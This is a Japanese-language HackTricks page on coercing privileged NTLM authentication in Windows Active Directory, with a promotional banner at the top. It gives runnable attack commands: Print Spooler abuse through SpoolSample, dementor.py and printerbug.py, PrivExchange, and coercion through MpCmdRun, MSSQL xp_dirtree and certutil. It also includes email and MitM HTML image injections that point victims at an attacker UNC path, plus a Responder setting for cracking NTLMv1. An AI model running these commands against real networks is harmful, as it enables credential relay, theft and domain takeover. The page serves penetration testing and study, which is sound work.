7.5 KiB
NTLM特権認証を強制する
htARTE(HackTricks AWS Red Team Expert) でAWSハッキングをゼロからヒーローまで学びましょう!
- サイバーセキュリティ企業で働いていますか? HackTricksで会社を宣伝してみたいですか?または、PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロードしたいですか?SUBSCRIPTION PLANSをチェックしてください!
- The PEASS Familyを発見し、独占的なNFTsコレクションをご覧ください
- 公式PEASS&HackTricks swagを手に入れましょう
- 💬 Discordグループに参加するか、telegramグループに参加するか、Twitterで私をフォローする🐦@carlospolopm。
- ハッキングトリックを共有するために、hacktricksリポジトリとhacktricks-cloudリポジトリにPRを提出してください。
SharpSystemTriggers
SharpSystemTriggersは、MIDLコンパイラを使用してC#でコーディングされたリモート認証トリガーのコレクションです。これにより、第三者の依存関係を回避できます。
スプーラーサービスの悪用
_Print Spoolerサービスが有効になっている場合、既知のAD資格情報を使用して、ドメインコントローラーのプリントサーバーに新しい印刷ジョブの更新を要求し、通知を特定のシステムに送信するように指示できます。
プリンターが任意のシステムに通知を送信するとき、そのシステムに対して認証する必要があります。したがって、攻撃者はPrint Spooler_サービスを任意のシステムに対して認証させ、サービスはこの認証でコンピューターアカウントを使用します。
ドメイン上のWindowsサーバーを見つける
PowerShellを使用して、Windowsボックスのリストを取得します。通常、サーバーが優先されるため、そこに焦点を当てましょう:
Get-ADComputer -Filter {(OperatingSystem -like "*windows*server*") -and (OperatingSystem -notlike "2016") -and (Enabled -eq "True")} -Properties * | select Name | ft -HideTableHeaders > servers.txt
スプーラーサービスのリスニングを見つける
やや修正された @mysmartlogin's (Vincent Le Toux's) の SpoolerScanner を使用して、スプーラーサービスがリスニングしているかどうかを確認します:
. .\Get-SpoolStatus.ps1
ForEach ($server in Get-Content servers.txt) {Get-SpoolStatus $server}
あなたはLinux上でrpcdump.pyを使用し、MS-RPRNプロトコルを探すこともできます。
rpcdump.py DOMAIN/USER:PASSWORD@SERVER.DOMAIN.COM | grep MS-RPRN
任意のホストに対してサービスに認証を要求する
SpoolSample.exe <TARGET> <RESPONDERIP>
または、3xocyteのdementor.pyまたはprinterbug.pyを使用している場合は、Linuxを使用してください。
python dementor.py -d domain -u username -p password <RESPONDERIP> <TARGET>
printerbug.py 'domain/username:password'@<Printer IP> <RESPONDERIP>
Unconstrained Delegationと組み合わせる
攻撃者がすでにUnconstrained Delegationを利用してコンピュータを侵害している場合、攻撃者はプリンタをこのコンピュータに認証させることができます。Unconstrained Delegationにより、プリンタのコンピュータアカウントのTGTがUnconstrained Delegationを持つコンピュータのメモリに保存されます。攻撃者はすでにこのホストを侵害しているため、このチケットを取得して悪用することができます(Pass the Ticket)。
RCP Force authentication
{% embed url="https://github.com/p0dalirius/Coercer" %}
PrivExchange
PrivExchange
攻撃は、Exchange ServerのPushSubscription
機能に見つかった欠陥の結果です。この機能により、Exchangeサーバを持つ任意のドメインユーザーが、HTTP経由でクライアント提供のホストに強制的に認証させることができます。
デフォルトでは、ExchangeサービスはSYSTEMとして実行され、過剰な特権が与えられます(具体的には、2019年以前の累積更新プログラムでドメインのWriteDacl特権が与えられます)。この欠陥を悪用すると、情報をLDAPに中継し、その後ドメインNTDSデータベースを抽出することができます。LDAPへの中継ができない場合でも、この欠陥を使用してドメイン内の他のホストに中継および認証することができます。この攻撃の成功により、認証されたドメインユーザーアカウントを使用して、Domain Adminへの直接アクセスが可能となります。
Inside Windows
Windowsマシン内部にすでにいる場合、特権アカウントを使用してWindowsをサーバに接続するように強制することができます:
Defender MpCmdRun
C:\ProgramData\Microsoft\Windows Defender\platform\4.18.2010.7-0\MpCmdRun.exe -Scan -ScanType 3 -File \\<YOUR IP>\file.txt
MSSQL
EXEC xp_dirtree '\\10.10.17.231\pwn', 1, 1
または、別のテクニックを使用することもできます: https://github.com/p0dalirius/MSSQL-Analysis-Coerce
Certutil
certutil.exe lolbin(Microsoftによって署名されたバイナリ)を使用してNTLM認証を強制することが可能です:
certutil.exe -syncwithWU \\127.0.0.1\share
HTMLインジェクション
メール経由
コンプロマイズしたいマシンにログインするユーザーのメールアドレスを知っている場合、以下のような1x1の画像が埋め込まれたメールを送信することができます。
<img src="\\10.10.17.231\test.ico" height="1" width="1" />
MitM
コンピュータに対してMitM攻撃を実行し、彼が視覚化するページにHTMLを注入できる場合、次のような画像をページに注入してみることができます:
<img src="\\10.10.17.231\test.ico" height="1" width="1" />
NTLMv1のクラック
NTLMv1のチャレンジをキャプチャできる場合は、こちらを参照してクラック方法を確認してください。
NTLMv1をクラックするには、Responderのチャレンジを "1122334455667788" に設定する必要があります。